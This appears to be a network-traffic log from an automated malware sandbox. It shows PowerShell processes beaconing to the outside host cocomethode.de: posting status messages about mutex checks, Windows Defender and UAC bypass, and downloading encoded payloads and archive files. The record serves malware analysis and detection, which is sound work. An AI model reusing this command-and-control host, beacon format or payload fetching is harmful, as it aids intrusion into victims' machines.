2024-12-11 11:44:08 UTC	1369	IN	Data Raw: 5b 31 6d 45 50 56 65 4a 53 33 53 7b 58 6b 4b 4a 60 46 4b 44 62 47 6d 53 4c 46 69 59 57 47 57 35 56 6d 65 47 56 6a 71 4b 53 45 43 6f 54 54 4f 6f 62 44 38 32 4c 44 75 4b 50 31 47 6f 52 54 66 76 55 6a 4f 6f 4c 44 75 44 54 56 38 6f 52 54 4f 43 5b 31 53 53 62 45 6d 44 54 56 38 70 53 47 47 77 60 6a 6d 49 4e 59 65 60 57 7b 57 49 58 57 65 35 63 44 79 74 50 6f 71 4f 54 55 43 4d 52 59 62 76 52 31 53 53 63 33 71 4b 53 57 4b 72 56 6c 30 72 65 57 71 55 50 6b 43 69 53 30 57 6f 56 6c 30 72 62 30 71 55 50 6f 57 5b 57 7b 47 72 52 54 65 46 65 57 71 45 50 6f 65 5b 56 47 4b 77 58 32 62 76 52 31 71 49 56 6f 43 68 53 30 5b 51 56 57 62 79 63 44 6d 44 4c 46 65 4b 60 7b 47 72 56 6d 69 52 62 46 4b 75 58 32 53 57 63 57 5b 74 58 57 69 4e 4c 46 4f 75 53 6b 43 69 57 7b 6d 30 55 47 57 Data Ascii: [1mEPVeJS3S{XkKJ`FKDbGmSLFiYWGW5VmeGVjqKSECoTTOobD82LDuKP1GoRTfvUjOoLDuDTV8oRTOC[1SSbEmDTV8pSGGw`jmINYe`W{WIXWe5cDytPoqOTUCMRYbvR1SSc3qKSWKrVl0reWqUPkCiS0WoVl0rb0qUPoW[W{GrRTeFeWqEPoe[VGKwX2bvR1qIVoChS0[QVWbycDmDLFeK`{GrVmiRbFKuX2SWcW[tXWiNLFOuSkCiW{m0UGW
2024-12-11 11:44:08 UTC	1369	IN	Data Raw: 33 65 6f 55 47 5b 42 60 46 53 49 5b 33 65 4a 53 30 71 76 58 6a 65 56 54 57 6d 58 54 6c 38 4d 54 33 75 6f 5b 59 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 54 47 5b 46 52 6c 47 52 57 6d 5b 59 54 56 79 60 57 6a 6d 45 52 6a 65 69 57 32 69 72 52 54 65 52 65 6d 71 58 55 56 65 68 63 55 6a 76 52 54 65 56 4f 46 47 58 55 6b 43 4c 60 54 4b 47 58 6b 4f 6a 65 56 4b 49 4e 56 69 60 53 33 79 30 56 6f 6a 31 65 54 79 71 52 54 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 30 6f 54 6a 62 34 4c 33 4b 75 64 49 5b 5b 57 30 47 6f 5b 44 65 6e 63 44 6d 49 56 6f 43 68 53 30 57 6f 56 6c 34 4a 65 6c 4b 55 50 6b 43 69 53 30 57 6f 57 6d 5b 4a 55 54 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 47 63 49 57 6a Data Ascii: 3eoUG[B`FSI[3eJS0qvXjeVTWmXTl8MT3uo[YbvR1mEPVeKP1GoRTOBTG[FRlGRWm[YTVy`WjmERjeiW2irRTeRemqXUVehcUjvRTeVOFGXUkCL`TKGXkOjeVKINVi`S3y0Voj1eTyqRT4E`TGoRTOC[1mEPVeDTV8oRTOC[1mEPVeKP10oTjb4L3KudI[[W0Go[DencDmIVoChS0WoVl4JelKUPkCiS0WoWm[JUTSSc3eKP1GoRTOC[1mGcIWj
2024-12-11 11:44:08 UTC	940	IN	Data Raw: 53 53 63 33 65 4b 50 31 47 6f 5b 45 4b 6e 62 46 4b 49 57 56 38 4a 53 31 34 33 5b 47 62 30 4c 44 6d 45 4c 56 34 6a 50 31 47 32 52 30 44 76 52 31 6d 45 50 56 65 4b 52 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 5b 44 69 4a 4f 56 57 32 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 54 30 62 30 4c 6c 48 78 65 46 79 4c 57 6c 53 72 56 56 79 4a 63 46 4f 58 57 6c 79 6b 4c 30 47 6f 55 47 5b 56 54 30 4f 55 50 56 75 56 56 44 71 7b 52 54 4c 79 54 46 53 58 54 6a 65 69 57 32 69 72 52 54 4f 52 53 57 71 58 55 6b 43 69 57 7b 57 6e 5b 44 65 72 65 6c 4b 70 62 31 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 54 34 57 57 57 72 62 44 5b 56 57 6d 71 45 57 6c 79 57 5b 31 6d 73 54 6f 5b 6a 4c 6b 57 7b 58 6b 4b 46 60 Data Ascii: SSc3eKP1Go[EKnbFKIWV8JS143[Gb0LDmELV4jP1G2R0DvR1mEPVeKRIONP3mC[1mEPVeKP1Go[DiJOVW2LDuKP1GoRTOC[1mEPVeKP1GoT0b0LlHxeFyLWlSrVVyJcFOXWlykL0GoUG[VT0OUPVuVVDq{RTLyTFSXTjeiW2irRTORSWqXUkCiW{Wn[DerelKpb14E`TGoRTOC[1mEPVeKP1GoRTT4WWWrbD[VWmqEWlyW[1msTo[jLkW{XkKF`
2024-12-11 11:44:08 UTC	1369	IN	Data Raw: 57 72 65 56 4f 48 57 6b 43 52 63 56 79 7b 56 6d 5b 42 60 46 53 49 5b 32 4f 44 54 56 38 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 57 7b 47 42 60 46 4f 75 53 6f 53 60 56 47 4b 72 58 33 6d 6e 55 6d 6d 59 4f 56 75 5b 56 47 4b 33 58 33 34 73 4e 54 71 48 54 6f 6d 6a 57 30 57 76 56 47 44 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 58 6c 4c 7b 54 6f 6d 69 57 7b 57 74 56 47 4f 52 54 46 53 58 54 6f 65 6a 56 47 4b 49 58 57 65 35 63 47 57 49 53 6b 43 69 50 32 65 4e 50 33 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 58 6d 6d 74 63 45 43 60 57 6b 43 73 57 31 62 34 64 57 4c 78 57 6b 57 4b 53 45 43 6f 55 57 44 76 52 31 6d 45 50 56 65 4b 50 33 75 4e 50 33 62 76 52 31 53 53 63 33 65 4b 50 31 47 6f 5b 44 69 4a 4f 54 6d 48 62 31 34 45 60 54 47 6f 52 Data Ascii: WreVOHWkCRcVy{Vm[B`FSI[2ODTV8NP3mC[1mEPVeKP1GoW{GB`FOuSoS`VGKrX3mnUmmYOVu[VGK3X34sNTqHTomjW0WvVGDvR1mEPVeKP1GoRTOBXlL{TomiW{WtVGORTFSXToejVGKIXWe5cGWISkCiP2eNP3bvR1mEPVeKP1GoRTOBXmmtcEC`WkCsW1b4dWLxWkWKSECoUWDvR1mEPVeKP3uNP3bvR1SSc3eKP1Go[DiJOTmHb14E`TGoR
2024-12-11 11:44:08 UTC	1369	IN	Data Raw: 4b 50 31 47 6f 52 54 4f 43 5b 33 4f 75 57 6b 43 6a 56 44 71 30 52 54 4f 52 63 57 6d 59 64 49 71 60 54 55 43 4d 52 54 4f 43 5b 31 6d 48 4c 44 34 45 63 6b 43 4e 50 33 62 76 52 30 71 74 57 6f 57 5b 4c 30 4b 76 58 6b 48 31 5b 30 5b 49 57 6f 71 6a 50 7b 47 57 56 6d 62 79 65 30 4b 75 63 49 4f 60 57 57 58 31 58 57 69 4e 4c 46 4c 76 53 6f 57 60 53 57 4b 72 58 6a 65 56 4c 47 71 55 50 6b 65 44 54 56 38 6f 52 54 4f 43 5b 33 4f 49 53 6f 6d 5b 57 7b 43 6f 52 31 44 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 58 6c 4c 7b 54 6f 6d 69 57 7b 57 74 56 47 4f 52 53 33 47 59 64 46 79 54 63 54 5b 31 56 6d 4f 43 4e 54 6d 45 52 6c 79 68 56 44 48 76 5b 57 4c 30 4c 46 57 48 54 56 6d 4c 50 31 47 6f 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 5b 31 62 46 4b 74 54 6c Data Ascii: KP1GoRTOC[3OuWkCjVDq0RTORcWmYdIq`TUCMRTOC[1mHLD4EckCNP3bvR0qtWoW[L0KvXkH1[0[IWoqjP{GWVmbye0KucIO`WWX1XWiNLFLvSoW`SWKrXjeVLGqUPkeDTV8oRTOC[3OISom[W{CoR1DvR1mEPVeKP1GoRTOBXlL{TomiW{WtVGORS3GYdFyTcT[1VmOCNTmERlyhVDHv[WL0LFWHTVmLP1GoSGGw[1mEPVeKP1GoRT[1bFKtTl
2024-12-11 11:44:08 UTC	1369	IN	Data Raw: 63 46 4f 71 4f 49 57 4c 60 54 6d 4e 50 33 62 76 52 31 6d 45 50 56 65 4b 52 46 53 77 58 57 65 35 63 44 6d 45 5b 33 38 4a 53 7b 57 72 5b 45 47 52 62 46 4b 59 57 56 65 4c 54 31 47 73 58 7b 4f 52 60 46 4f 74 54 6d 57 69 57 7b 47 72 52 30 4c 30 57 56 48 7b 54 6c 69 68 53 6a 34 72 56 55 48 34 65 57 71 48 55 56 65 4c 57 32 66 76 52 54 4f 52 57 56 47 59 4c 56 79 68 4c 30 58 76 57 55 4b 56 60 6c 48 78 4f 56 75 6b 64 56 75 6f 5b 59 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 62 47 71 71 50 56 38 56 53 30 5b 37 5b 44 4c 79 54 57 6d 58 54 6c 38 4b 50 7b 47 53 56 57 69 52 63 31 6d 45 54 6c 30 69 57 32 69 72 57 54 65 46 4c 46 47 45 60 33 65 6d 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 30 50 79 54 6d 4f 59 60 30 5b 56 57 6c 75 Data Ascii: cFOqOIWL`TmNP3bvR1mEPVeKRFSwXWe5cDmE[38JS{Wr[EGRbFKYWVeLT1GsX{OR`FOtTmWiW{GrR0L0WVH{TlihSj4rVUH4eWqHUVeLW2fvRTORWVGYLVyhL0XvWUKV`lHxOVukdVuo[YbvR1mEPVeKP1GoRTOBbGqqPV8VS0[7[DLyTWmXTl8KP{GSVWiRc1mETl0iW2irWTeFLFGE`3eme{CMRTOC[1mEPVeKP1GoRTOC[0PyTmOY`0[VWlu
2024-12-11 11:44:08 UTC	1369	IN	Data Raw: 33 69 34 56 6d 65 46 60 33 47 59 4f 56 34 4c 60 7b 44 79 5b 44 65 56 4f 44 75 45 54 6c 30 5b 57 32 69 37 56 6d 4f 32 5b 31 6d 72 55 6d 57 53 57 6a 71 57 57 6d 57 46 53 44 6d 71 60 7b 65 44 54 56 38 73 58 6a 62 34 60 6c 44 76 53 6c 71 6b 56 47 5b 76 58 33 30 56 60 30 44 78 60 49 43 68 53 30 47 6f 54 47 4f 43 60 33 4b 58 54 6b 53 58 4c 6a 34 77 58 57 65 35 60 31 79 72 5b 46 69 69 56 47 4b 50 58 6c 30 57 63 31 30 45 60 7b 65 44 54 59 43 76 56 6c 6d 43 63 31 71 49 64 49 5b 5b 4c 6f 53 42 56 55 4f 46 4c 56 47 58 52 6c 79 60 53 54 34 77 58 57 65 35 60 31 6d 45 4c 56 79 6b 54 31 47 73 5b 44 69 4a 4c 57 71 55 60 33 65 44 54 59 40 32 53 47 47 77 5b 31 6d 45 50 56 65 54 4c 57 4b 55 57 33 75 56 57 6d 5b 73 52 6d 65 56 54 31 47 71 57 47 69 56 4c 47 71 58 5b 33 65 69 Data Ascii: 3i4VmeF`3GYOV4L`{Dy[DeVODuETl0[W2i7VmO2[1mrUmWSWjqWWmWFSDmq`{eDTV8sXjb4`lDvSlqkVG[vX30V`0Dx`IChS0GoTGOC`3KXTkSXLj4wXWe5`1yr[FiiVGKPXl0Wc10E`{eDTYCvVlmCc1qIdI[[LoSBVUOFLVGXRly`ST4wXWe5`1mELVykT1Gs[DiJLWqU`3eDTY@2SGGw[1mEPVeTLWKUW3uVWm[sRmeVT1GqWGiVLGqX[3ei
2024-12-11 11:44:08 UTC	1369	IN	Data Raw: 4b 49 57 56 65 69 53 33 79 73 56 6a 65 56 65 54 6d 45 4c 54 4b 6b 63 56 50 79 58 6d 65 56 65 56 53 47 64 49 43 6b 4c 30 47 6f 52 31 4f 4b 65 6d 6d 34 50 6f 71 6a 53 31 5b 34 5b 44 4f 43 65 6c 4b 59 63 49 57 4b 50 31 6d 71 52 56 6d 4b 5b 33 4f 49 4e 55 4f 60 56 44 71 37 58 54 65 56 62 33 4b 45 4f 56 79 6d 53 30 57 6f 55 47 5b 6a 62 46 4b 75 54 6f 5b 6a 4c 54 35 76 5b 57 65 35 63 44 6d 49 60 49 43 60 53 30 4b 72 58 6c 6d 43 5b 31 79 57 4f 59 5b 54 53 7b 6d 74 58 6f 6d 43 65 47 53 75 4e 57 47 6b 63 55 6d 75 58 57 65 35 63 44 6d 45 4c 54 5b 6d 53 30 5b 70 5b 47 69 52 62 46 48 78 4f 57 47 68 4c 6f 69 76 56 55 4f 73 5b 30 6d 74 63 49 65 5b 56 44 34 37 52 54 4c 79 53 6c 4b 75 55 6f 5b 60 53 30 5b 73 54 55 48 34 65 46 4b 59 53 6f 57 60 50 31 4b 4d 54 57 57 4b 64 Data Ascii: KIWVeiS3ysVjeVeTmELTKkcVPyXmeVeVSGdICkL0GoR1OKemm4PoqjS1[4[DOCelKYcIWKP1mqRVmK[3OINUO`VDq7XTeVb3KEOVymS0WoUG[jbFKuTo[jLT5v[We5cDmI`IC`S0KrXlmC[1yWOY[TS{mtXomCeGSuNWGkcUmuXWe5cDmELT[mS0[p[GiRbFHxOWGhLoivVUOs[0mtcIe[VD47RTLySlKuUo[`S0[sTUH4eFKYSoW`P1KMTWWKd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49745	172.67.128.139	443	3152	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:09 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 85
2024-12-11 11:44:09 UTC	85	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4a 6f 62 20 69 73 20 72 75 6e 6e 69 6e 67 2e 20 4a 6f 62 20 49 44 3a 20 31 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 43 68 65 63 6b 20 6d 75 74 65 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Job is running. Job ID: 1\"", "\"Check mutext\"", "----------"]
2024-12-11 11:44:10 UTC	1188	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:10 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eBwL1gZ6CWOSWgrVvwPD1N9KF008BhjmwNyD7pobQ1Yq0W7n2ii1MvDS6Q7euDeGlyOT5yErQetkA8vSQBugneWseEP%2FEB%2F6OwTzAO2hlttZZXrgtoYcnYOBfjNRtVdWeQqyIkjzx%2BcW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=20968&min_rtt=1044&rtt_var=27590&sent=37&recv=35&lost=0&retrans=0&sent_bytes=25881&recv_bytes=13224&delivery_rate=6494661&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f05389c2e4053e4-ATL server-timing: cfL4;desc="?proto=TCP&rtt=47&min_rtt=47&rtt_var=23&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=624&delivery_rate=0&cwnd=188&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113918&min_rtt=113807&rtt_var=24098&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1029&delivery_rate=33592&cwnd=252&unsent_bytes=0&cid=170af7db1eeeb69d&ts=840&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49746	172.67.128.139	443	3152	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:10 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 86
2024-12-11 11:44:10 UTC	86	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4d 75 74 65 78 20 69 73 20 6e 6f 74 20 6c 6f 63 6b 65 64 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 41 56 20 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Mutex is not locked\"", "\"AV Windows Defender\"", "----------"]
2024-12-11 11:44:11 UTC	1208	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:11 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rq4OdadIpptal%2FjOz3y5aAsgdDMSi%2B2aZdNnVl8tBg9AAz0MQl8W10ZuQYfeAvmlUlVSQ5HRNc%2BAdRmxm0YbfF8Zx%2FskCVTxR8ZXpJ1eQwco9NdedlRhk0P%2F9Q%2FWH1Z2XSm%2B5dOz9p7K"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=25944&min_rtt=1044&rtt_var=30645&sent=40&recv=38&lost=0&retrans=0&sent_bytes=26650&recv_bytes=14103&delivery_rate=6494661&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0538a33f77bf64-ATL server-timing: cfL4;desc="?proto=TCP&rtt=45&min_rtt=42&rtt_var=17&sent=5&recv=7&lost=0&retrans=0&sent_bytes=7640&recv_bytes=1017&delivery_rate=1283980392&cwnd=93&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113590&min_rtt=113540&rtt_var=24032&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1030&delivery_rate=33682&cwnd=252&unsent_bytes=0&cid=8b846788bf6cc2af&ts=603&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49747	172.67.128.139	443	2720	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:10 UTC	389	OUT	GET /file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9aa29bce71057a1ce039860e7c69eeb0ef1320f1ed0c8150f1948c2ed6bd2e64238c34031fa4510c3f5cb56f2ddedd92af0607a2d92432a03063f1e11b066993a54f1321da127eb7fbaee23c8f HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:44:11 UTC	1313	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:11 GMT Content-Type: application/octet-stream Content-Length: 2684 Connection: close content-disposition: attachment; filename=file; filename*=UTF-8''file CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vbae4Pgw0Vc5jhItfrpbTBpCIYvioUhdP38RAob9yJ0Qeb4yvoaCfcmHg7qsQ5CdHKNKVMTrkyj9%2BaFla4B0z5uzSzk%2FoqjqLLwqDLXUmOdrGMTj%2FiVyJW0416hIPS6LQO7ikaDOpTKX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13369&min_rtt=1185&rtt_var=19569&sent=24500&recv=11181&lost=0&retrans=0&sent_bytes=35081689&recv_bytes=134422&delivery_rate=47390163&cwnd=259&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0538a4dd668bbb-ATL server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=41&rtt_var=20&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=620&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113794&min_rtt=113737&rtt_var=24080&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1003&delivery_rate=33625&cwnd=252&unsent_bytes=0&cid=603a981ce2e2a069&ts=594&x=0"
2024-12-11 11:44:11 UTC	56	IN	Data Raw: 50 4b 03 04 14 00 08 00 08 00 9a 7e 7c 59 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 5f 72 65 6c 73 2f 2e 72 65 6c 73 8d 8f 3b 0e c2 30 10 44 af 62 6d 4f 36 50 20 Data Ascii: PK~\|Y_rels/.rels;0DbmO6P
2024-12-11 11:44:11 UTC	1369	IN	Data Raw: 84 e2 a4 41 48 69 a3 70 00 cb de 38 51 e2 8f 6c f3 bb 3d 2e 28 08 a2 a0 1c ed cc db 99 aa 79 98 85 dd 28 c4 c9 59 0e db a2 04 46 56 3a 35 59 cd e1 d2 9f 37 07 68 ea aa a3 45 a4 ec 88 e3 e4 23 cb 11 1b 39 8c 29 f9 23 62 94 23 19 11 0b e7 c9 e6 cb e0 82 11 29 cb a0 d1 0b 39 0b 4d b8 2b cb 3d 86 4f 06 ac 99 ac 17 41 53 e2 70 77 41 a1 72 f2 6a c8 a6 22 e3 80 b5 8a 83 9f 75 d7 aa dc ad 7f 7a fa e7 b3 1b 86 49 d2 e9 0d fa 51 e0 cb 01 0c eb 0a 57 33 eb 17 50 4b 07 08 4f 8b dd 3c a6 00 00 00 1c 01 00 00 50 4b 03 04 14 00 08 00 08 00 9a 7e 7c 59 00 00 00 00 00 00 00 00 00 00 00 00 1c 00 00 00 77 6f 72 64 2f 5f 72 65 6c 73 2f 64 6f 63 75 6d 65 6e 74 2e 78 6d 6c 2e 72 65 6c 73 ad 90 cb 0a c2 30 10 45 7f 25 cc de a6 75 21 22 4d bb 11 a1 db 52 3f 20 26 d3 07 36 0f 92 Data Ascii: AHip8Ql=.(y(YFV:5Y7hE#9)#b#)9M+=OASpwArj"uzIQW3PKO<PK~\|Yword/_rels/document.xml.rels0E%u!"MR? &6
2024-12-11 11:44:11 UTC	1259	IN	Data Raw: 2d 30 a6 02 94 ad 0b 15 3a a8 ad 54 a5 2a ba 9f 2e fd 09 94 88 1a 4a 87 18 37 85 68 0c 40 ab 8b 05 8d 35 e0 d4 49 96 2b 9c 3a c7 a5 ce 8d 29 88 fb 73 a1 cc 09 5c 81 a8 41 5b bb 88 6e 11 5d 57 82 f2 85 28 bf d9 ed 14 b3 a5 cb 2c a9 7c d1 76 af 05 e8 76 45 c9 fe 89 f6 36 7b 38 2b d2 a5 01 4f 61 53 46 85 b5 6a bf 56 fd 82 3e c4 4d 99 24 4b fe 84 55 26 59 00 59 65 52 46 85 55 66 bf ca bc 47 61 30 d0 d2 e1 96 e6 ff 46 5a cd 4a 93 2c 88 ff 56 9a 7c fb 5a aa fc eb 2b af ce bf 00 50 4b 07 08 dd e8 3a 09 22 04 00 00 36 4b 00 00 50 4b 03 04 14 00 08 00 08 00 9a 7e 7c 59 00 00 00 00 00 00 00 00 00 00 00 00 12 00 00 00 77 6f 72 64 2f 6e 75 6d 62 65 72 69 6e 67 2e 78 6d 6c 0d 8c 41 0e c2 30 0c 04 bf 12 f9 4e 5d 38 20 14 35 ed ad 2f 80 07 84 c4 b4 95 1a bb 8a 03 81 df Data Ascii: -0:T*.J7h@5I+:)s\A[n]W(,\|vvE6{8+OaSFjV>M$KU&YYeRFUfGa0FZJ,V\|Z+PK:"6KPK~\|Yword/numbering.xmlA0N]8 5/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49748	172.67.128.139	443	3152	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:11 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 62
2024-12-11 11:44:11 UTC	62	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 30 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 6f 20 63 61 6e 20 62 79 70 61 73 73 20 75 61 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "0", "\"ko can bypass uac\"", "----------"]
2024-12-11 11:44:12 UTC	1213	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:11 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Np5DxB8kkW3CbGCIK3419Zh%2FjEG6WnG9g7qG1aZFE7Z2hE02HrrdPX6KqaWbGYKkb01HzxgDNb%2FDpA0fHmTg93juU8byi9EMk4LTHqe%2BxcvRJH3MLDrH9gDt7psVp6zFBcE%2BlzBm9Wu5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17184&min_rtt=1037&rtt_var=25416&sent=18559&recv=8190&lost=0&retrans=0&sent_bytes=26482338&recv_bytes=128630&delivery_rate=51681415&cwnd=264&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0538a8ad6cadc3-ATL server-timing: cfL4;desc="?proto=TCP&rtt=45&min_rtt=44&rtt_var=19&sent=4&recv=6&lost=0&retrans=0&sent_bytes=3946&recv_bytes=1221&delivery_rate=1212648148&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113881&min_rtt=113819&rtt_var=24049&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1006&delivery_rate=33628&cwnd=252&unsent_bytes=0&cid=078b27c73a899d74&ts=592&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49752	172.67.128.139	443	6280	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:15 UTC	389	OUT	GET /file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5ed12e05cf2f53d7b015e76bd5b82239987c049defb9be7775f0b50e130d8dbede4588a06e0bb0568bc9dc5a959058d1b98732bb8da4c07dbb567f93f3706dd62fd21f5eae172d5026cdd5279f HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:44:15 UTC	1315	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:15 GMT Content-Type: application/octet-stream Content-Length: 12122 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FW1kwrNDjHgamkbUlpyGfpBksAS86qAFesASiuXrnTM2rVA7Z5VRUud%2BubJZ86aPe2B6RwLHx56TnPDBjGygipqCgEilDqyRWRcNFE5BjEoF52k2l1q3ZhAIxxtXUyIog0pRn6HQoEdV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=33855&min_rtt=1044&rtt_var=25267&sent=56&recv=57&lost=0&retrans=0&sent_bytes=30668&recv_bytes=25180&delivery_rate=6494661&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0538c1a952c00b-ATL server-timing: cfL4;desc="?proto=TCP&rtt=75&min_rtt=49&rtt_var=37&sent=4&recv=6&lost=0&retrans=0&sent_bytes=973&recv_bytes=1221&delivery_rate=1336387755&cwnd=206&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: 